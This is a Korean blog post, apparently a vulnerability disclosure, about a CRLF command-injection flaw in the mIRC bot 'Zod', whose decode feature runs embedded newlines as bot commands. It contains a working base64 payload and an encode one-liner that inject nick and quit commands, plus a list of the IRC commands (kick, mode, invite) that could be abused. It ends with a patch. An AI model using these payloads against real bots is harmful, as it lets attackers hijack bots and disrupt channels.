Zod의 최초 취약점이 발견된 사건…

종류 : 취약점
증상 : 원격에서 Zod에 임의의 코드를 전송하여 실행시킬수 있음.
발견자 : MrGeek (http://geekproject.net/)

Zod에는 여러가지 기능중 여러가지 Encoded Text를 다시 decoding 할 수 있는 기능을 가지고 있다.
어제 #c0**** 채널에서 놀던 아래와 같은 Encoded Text를 보게되었다.

s60gwKe068fRILDHtOPAzLTZISEhDQpuaWNrILDHtOMNCnF1aXQgOrDHtOMgx9ewocfXsKE=

척 보아하니 MIME(Multipurpose Internet Mail Extensions)로 Encode 된것 같다.
무슨 텍스트인가 싶어서 Zod의 @디코딩 명령을 이용해서 디코드 하려는데.. (@디코딩 m encoded text)
갑자기 Zod의 닉이 “건담”으로 바뀌더니 “건담 항가항가”라는 quit message를 남기고 나가버렸다.

그래서 echo를 통해서 해당 텍스트를 디코딩 해보았다.



var %aaa s60gwKe068fRILDHtOPAzLTZISEhDQpuaWNrILDHtOMNCnF1aXQgOrDHtOMgx9ewocfXsKE=
//say $decode(%aaa,m)을 사용하면 “난 위대한 건담이다!!!!”를 출력한후
/nick 건담 /quit :건담 항가항가(quit message)를 작동시키는 코드가 숨겨져 있었다.

즉, 출력하기전에 decoded message를 변수로 받은후 이 변수를 scan하여
ascii코드중 10~13번 문자열이 포함되어 있다면 그자리에서 출력을 멈추고 에러메시지를 출력함으로써
이 문제를 해결 할 수 있다.
(MSL에는 $crlf 의 함수가 이 문자열을 대신하지만 $chr(10) 등으로 구현하여도 된다.)

실제로 해당 취약점을 이용한 exploit code를 만들어보자면 다음과 같다.

//echo -a $encode(Giving us power from the Zod $+ $crlf $+ nick Zod^exploit $+ $crlf $+ quit :Remember my memories with you to stay your soul in my shadow…,m)

위와같이 실행하면 아래와 같은 출력 결과를 얻는다.

R2l2aW5nIHVzIHBvd2VyIGZyb20gdGhlIFpvZA0KbmljayBab2ReZXhwbG9pdA0KcXVpdCA6UmVtZW1iZXIgbX
kgbWVtb3JpZXMgd2l0aCB5b3UgdG8gc3RheSB5b3VyIHNvdWwgaW4gbXkgc2hhZG93Li4u

이것을 다시 decode 해보면 다음과 같은 exploit code가 된다.



//echo -a $decode(R2l2aW5nIHVzIHBvd2VyIGZyb20gdGhlIFpvZA0KbmljayBab2ReZXhwbG9pdA0KcXVpdCA
6UmVtZW1iZXIgbXkgbWVtb3JpZXMgd2l0aCB5b3UgdG8gc3RheSB5b3VyIHNvdWwgaW4gbXkgc2hhZG93Li4u,m)

이걸 Zod에게 실행시키면 다음과 같은 사태가 벌어져버린다. -_-;;



원리는 간단하다.
//msg 식으로 실행을 시키면 이 구문을 스크립트형식으로 받아들이는데
msg (string1 | string2 | string3) 으로 괄호안의 메시지를 메시지를 보내는게 아니라.
강제로 $crlf (carriage return line feed)를 삽입함으로써 스크립트의 취급을 다음과 같이 하도록 만든다.

msg (string1) | string2 | string3

즉 msg 로는 string1만 메시지로 출력하게 되고 string2,3은 명령어로 취급이 되는것이다.

이 취약점으로 사용할수 있는 명령어는 다음과 같다.

/AWAY [message] (현재 상태를 부재중으로 변환한다.)
/INVITE nickname #channel (지정한 채널에 지정한 사용자를 초대한다.)
/JOIN #channel (지정한 채널로 조인한다.)
/LIST [#channel] [-MIN #] [-MAX #] /ME message
/MSG nickname message (누군가에게 메시지를 출력한다.)
/NICK nickname (닉을 바꾼다.)
/NOTICE nickname message (누군가에게 notice를 보낸다.)
/PART #channel (해당 채널을 나간다.)
/QUERY nickname message (누군가에게 쿼리를 보낸다.)
/QUIT [message] (IRC 서버에서 나간다.)
/TOPIC #channel newtopic (토픽을 바꾼다.)
/WHOIS nickname
/KICK #channel nickname (지정한 채널에 접속해있는 지정한 사용자를 킥한다.)
/MODE #channel|nickname [[+|-]modechars [parameters]] (채널 모드를 바꾼다. 밴, 옵 등등..)

Basic IRC Command이지만 대부분의 명령어가 악용되면 치명적이다.

해결책 :
결과를 출력하기 전에 이 구문을 추가한다.

var %k 1
while (%k <= $len(%decoded)) {
var %dcheck $mid(%decoded,%k,1)
if ($crlf isin %dcheck || $chr(10) isin %dcheck || $chr(11) isin %dcheck || $chr(12) isin %dcheck || $chr(13) isin %dcheck) { msg %dchan 올바르지 않은 형식이거나 잘못된 문자열이 포함되어 있습니다. | halt }
inc %k
}

댓글 남기기